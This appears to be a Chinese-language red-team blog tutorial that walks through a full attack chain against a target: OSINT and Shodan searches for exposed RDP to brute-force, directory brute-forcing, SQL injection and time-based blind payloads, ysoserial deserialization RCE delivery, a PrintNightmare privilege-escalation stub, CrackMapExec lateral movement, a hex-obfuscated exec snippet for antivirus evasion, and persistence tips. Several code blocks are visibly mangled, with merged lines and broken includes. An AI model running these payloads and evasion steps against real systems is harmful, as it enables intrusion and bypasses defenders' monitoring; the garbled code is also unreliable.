0x01 渗透起点:信息收集的暗面
APT攻击的第一步,往往是信息收集,这不仅仅是为了摸清目标的应用架构,更是为了挖掘隐藏的攻击入口。对于红队来说,这一步是至关重要的,因为一个优秀的攻击链,始于对目标「知己知彼」。在这部分,我将重点介绍如何利用开源情报(OSINT)和技术侦察来最大限度获取目标信息。

利用OSINT工具剖析目标外部环境
OSINT是信息收集的利器,工具选择不当会浪费宝贵时间。以下是我常用的几种工具及其高效场景:
- Amass:采集目标域名的子域,并尝试解析IP,特别是在检测未公开的外部服务时非常有用。
- EyeWitness:对目标Web服务进行截图分析,快速识别登录界面、管理后台。
- Shodan API:对外暴露服务的快速检索利器,可以定位与目标相关的未修补漏洞。
Amass快速获取子域
运行 Amass 时,我们可以通过 -active 参数触发主动扫描,这会结合DNS的数据泄露和第三方API返回更深层次的子域信息。
<pre><code class="language-bash">amass enum -active -d example.com -o subdomains.txt</code></pre>
红队思路:收集到子域数据后,结合服务指纹识别工具(如Nmap)扫描端口,重点关注SSH、RDP等远程服务,以及Web端口暴露的后台。
Shodan API的实战用法
Shodan提供了针对IP资产的深度搜索,例如扫描某组织暴露的RDP服务:
<pre><code class="language-python">import shodan
api_key = "your_shodan_api_key" api = shodan.Shodan(api_key)
query = 'org:"Target Organization" port:3389' results = api.search(query)
for result in results['matches']: print(f"IP: {result['ip_str']} Port: {result['port']}")</code></pre>
用途:快速找到目标暴露的远程桌面服务,并结合弱口令进行暴力破解。
---
技术侦察:挖掘隐藏的应用架构
除了使用OSINT工具外,主动对目标的技术架构进行探测也至关重要。例如,Web应用可能隐藏多个未公开的API接口或测试页面,而这些往往是渗透的突破口。
Dirsearch:快速目录爆破
如果目标是Web应用,目录扫描可以帮助找到隐藏的管理后台或敏感资源。
<pre><code class="language-bash">python3 dirsearch.py -u https://target.com -e php,html,js -w common.txt</code></pre>
经验分享:定制字典是关键,根据目标的技术栈(PHP/ASP/Node.js),调整爆破的文件后缀和目录路径。
CMS识别与指纹探测
使用工具 WhatWeb 或 Wappalyzer 提取目标站点的技术指纹,例如框架版本号、JS库等。这些信息对后续漏洞挖掘(如插件版本漏洞利用)价值巨大。
<pre><code class="language-bash">whatweb https://target.com</code></pre>
常见盲点:许多开发者会在页面注释或JavaScript文件中泄露敏感信息,例如API Key、数据库连接字符串,甚至管理员邮箱。
---
0x02 攻击切入:漏洞利用与Payload构造
信息收集完成后,下一步就是寻找突破口,无论是未修补的漏洞还是弱口令,都需要通过精心设计的Payload实现攻击。这部分内容将围绕Web漏洞和RCE漏洞展开。
SQL注入的艺术:多场景突破
SQL注入仍然是攻防演练中的经典漏洞,但很多开发者已经对传统的单引号闭合方式做了过滤。这里介绍两种更隐蔽的利用技巧。

盲注:布尔型与时间型双管齐下
通过布尔型盲注绕过过滤器:
<pre><code class="language-python">import requests
url = "https://target.com/login" payload = "' OR 1=1 --" data = {"username": f"admin{payload}", "password": "password123"}
response = requests.post(url, data=data)
if "Welcome" in response.text: print("Injection successful!")</code></pre>
而对于时间型盲注,利用数据库的延迟函数(如 SLEEP() 或 BENCHMARK()):
<pre><code class="language-python">payload = "' OR IF(1=1, SLEEP(5), 0) --"</code></pre>
红队技巧:结合Burp Suite的自动化扫描模块,可以快速扩展注入点,但需要手工验证关键点。
---
反序列化RCE与Payload定制
反序列化漏洞在ASP.NET、Java等平台下非常普遍,典型的利用方式是通过精心构造的序列化对象执行远程代码。
使用Ysoserial构造Java RCE Payload
<pre><code class="language-bash">java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.ser</code></pre>
发送POST请求时将Payload作为数据体上传:
<pre><code class="language-python">import requests
url = "https://target.com" headers = {"Content-Type": "application/x-java-serialized-object"} data = open("payload.ser", "rb").read()
response = requests.post(url, headers=headers, data=data)
if response.status_code == 200: print("Payload delivered successfully!")</code></pre>
实战经验:结合工具Burp Collaborator,加速检测反序列化漏洞是否可控。
---
0x03 权限提升与横向渗透

一旦成功进入目标系统,权限提升是关键。过程中,我们可能会面对严格的权限隔离和EDR监控。这里分享一些绕过技巧。
Windows环境提权
通过内核漏洞快速提权
在Windows系统中,未打补丁的内核漏洞(如CVE-2021-34527)是提权的利器。
以下是一段利用Windows Print Spooler漏洞进行提权的简单代码:
<pre><code class="language-c">#include <stdio.h>
include <stdlib.h>
include <windows.h>
// 伪代码,仅供参考 int main() { printf("Exploiting CVE-2021-34527...\n"); // 调用恶意DLL加载的函数 // ... return 0; }</code></pre>
注意:提权代码武器化时,需要对AV进行免杀处理,这将在后续章节介绍。
---
横向移动:利用SMB与WMI
横向移动的核心是找到管理员级别的凭据,再通过SMB或WMI执行远程命令。
CrackMapExec破解SMB共享
<pre><code class="language-bash">cme smb 192.168.1.0/24 -u administrator -p password123 --exec-method smbexec</code></pre>
红队技巧:为了避免触发EDR,建议通过手工脚本实现更隐蔽的命令执行。
---
0x04 恶意载荷免杀与EDR对抗
即使成功进入目标环境,我们仍需对抗防御工具的拦截和分析。以下是一些免杀与流量规避的技巧。
恶意代码免杀
利用Python混淆和C语言加载器绕过AV:
<pre><code class="language-python"># 生成恶意载荷的Python代码 payload = "calc.exe" # 替换为真实Payload encoded = payload.encode("utf-8").hex()
伪造解码与运行逻辑
exec(f"import os; os.system(bytes.fromhex('{encoded}').decode('utf-8'))")</code></pre>
---
0x05 从攻击到持久化:后门植入的隐秘策略
成功攻入系统后,持久化是关键。建议通过注册表、计划任务等方式实现持久化,避免被管理员轻易发现。
---
0x06 总结与经验
本次分享的技巧覆盖了从信息收集到持久化的完整攻击链,但需要结合目标环境灵活调整。红队的核心在于随机应变,不断学习新的技术与对抗手段。